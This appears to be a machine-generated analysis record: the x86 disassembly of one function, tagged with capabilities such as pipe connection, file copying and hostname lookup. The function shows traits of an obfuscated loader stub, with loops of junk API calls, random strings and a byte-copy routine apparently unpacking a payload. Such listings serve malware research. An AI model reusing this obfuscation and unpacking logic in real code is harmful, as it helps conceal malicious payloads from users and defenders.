Function at 0x431540
Capabilities:
Connect pipe
Copy file
Get disk information
Get file attributes
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1d74
call fcn.004070d0
mov eax, dword [0x434004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push edi
xor edi, edi
jmp 0x431570
cmp dword [0x50e2e4], 0x7d
jne 0x4315a4
push 0
lea eax, [ebp - 0x804]
push eax
lea ecx, [ebp - 0x1d60]
push ecx
lea edx, [ebp - 0x1d54]
push edx
lea eax, [ebp - 0x1d64]
push eax
push 0
lea ecx, [ebp - 0x1404]
push ecx
push 0
call ebx
cmp edi, 0x4e5
jne 0x4315be
mov edx, dword [0x435278]
add edx, 0x9e49
mov dword [0x50e2e4], edx
cmp dword [0x50e2e4], 0xbcf
jne 0x431603
xor ecx, ecx
xor eax, eax
lea edx, [ebp - 0x1d5c]
push edx
mov word [ebp - 0x1d50], ax
mov word [ebp - 0x1d4e], cx
mov eax, dword [ebp - 0x1d50]
push eax
push ecx
push ecx
push ecx
call esi
mov dword [0x435d58], 0xec58ac98
mov dword [0x435d5c], 0xffffffff
inc edi
cmp edi, 0x114aff4
jl 0x431570
mov edi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
xor esi, esi
cmp esi, 0x56051f
jne 0x43162c
mov ecx, dword [0x434c68]
mov dword [0x50e414], ecx
cmp dword [0x50e2e4], 0x3c
jne 0x431639
push 0
call edi
inc esi
cmp esi, 0x4cab834c
jl 0x431618
cmp dword [0x50e2e4], 0x7c
jne 0x431763
push 0
push 0
lea edx, [ebp - 0x1d5c]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
lea eax, [ebp - 0x1d64]
push eax
lea ecx, [ebp - 0xc04]
push ecx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push 0x2e
lea edx, [ebp - 0x1c34]
push esi
push edx
mov dword [ebp - 0x1c38], esi
call fcn.00403150
add esp, 0xc
push esi
lea eax, [ebp - 0x1c38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea ecx, [ebp - 0x1d4c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push esi
lea edx, [ebp - 0x1d60]
push edx
mov dword [ebp - 0x1d60], esi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
xor ecx, ecx
xor eax, eax
mov word [ebp - 0x1d52], cx
xor edx, edx
mov word [ebp - 0x1d4e], ax
lea ecx, [ebp - 0x1d6c]
push ecx
mov word [ebp - 0x1d50], dx
mov edx, dword [ebp - 0x1d50]
push edx
mov word [ebp - 0x1d54], ax
mov eax, dword [ebp - 0x1d54]
push eax
lea ecx, [ebp - 0x1d58]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push esi
lea edx, [ebp - 0x804]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
cmp dword [0x50e2e4], 0x2d
jne 0x431754
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push esi
call fcn.0040104f
push esi
call fcn.00401065
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_SetCommState]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
push 0
push 0
call edi
call ebx
cmp esi, 0x24bfb
jg 0x43178a
inc esi
cmp esi, 0xeba57
jl 0x431771
cmp dword [0x50e2e4], 0x2a
jne 0x431878
xor esi, esi
push esi
mov dword [0x50e2d8], esi
mov dword [0x50e2dc], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
lea eax, [ebp - 0x1d50]
push eax
push esi
push str.kuguxaxijitebexopugaduyuno
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
lea ecx, [ebp - 0x1d58]
push ecx
lea edx, [ebp - 0x1c04]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
lea ecx, [ebp - 0xc04]
push ecx
push str.fujozeduyal
lea edx, [ebp - 0x1d74]
xor eax, eax
push edx
push esi
push esi
mov word [ebp - 0x1d74], ax
mov dword [ebp - 0x1d72], eax
mov dword [ebp - 0x1d6e], eax
mov dword [ebp - 0x1d6a], eax
mov word [ebp - 0x1d66], ax
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
lea eax, [ebp - 0x1d5c]
push eax
push str.nukaxovowuyewidatoyejet
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
push esi
push esi
lea ecx, [ebp - 0x1004]
push ecx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push esi
lea edx, [ebp - 0x404]
push edx
push str.sidosunohusuvewuhamen
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push esi
push esi
call fcn.0040100f
push esi
push esi
call fcn.0040100f
push esi
push esi
call fcn.0040100f
add esp, 0x18
call fcn.004311e0
mov ecx, dword [0x50e2e4]
xor eax, eax
test ecx, ecx
jbe 0x4318bd
mov edi, dword [0x50e414]
mov esi, dword [0x50e12c]
mov edx, 0x17bc
lea ebx, [ebx]
mov bl, byte [edi + eax + 0x9e49]
mov byte [eax + esi], bl
cmp ecx, 0x8d
jne 0x4318b8
mov dword [0x50e130], edx
inc eax
cmp eax, ecx
jb 0x4318a0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00431210
call fcn.004314b0
mov edi, dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_SetStdHandle]
xor esi, esi
cmp dword [0x50e2e4], 0x41
jne 0x4318f7
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0xd606b
jne 0x431904
call fcn.00431200
cmp dword [0x50e2e4], 0xc
jne 0x43191a
lea eax, [ebp - 0x1d58]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
inc esi
cmp esi, 0x24e87d
jl 0x4318e0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, 0x1d5ed5
mov edi, 0x8e4e4fe0
jmp 0x431940
cmp dword [0x50e2e4], 0x7c4
mov dword [0x50e134], edi
jne 0x431959
push str.zoniluyepayakepuketeruw
call esi
sub ebx, 1
jne 0x431940
mov ecx, dword [ebp - 0x1c28]
pop edi
pop esi
xor eax, eax
pop ebx
lea esp, [esp]
cmp eax, 0x408e
jle 0x43197f
cmp ecx, 0xf5bed7
jne 0x431987
inc eax
cmp eax, 0x687ed2
jl 0x431970
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret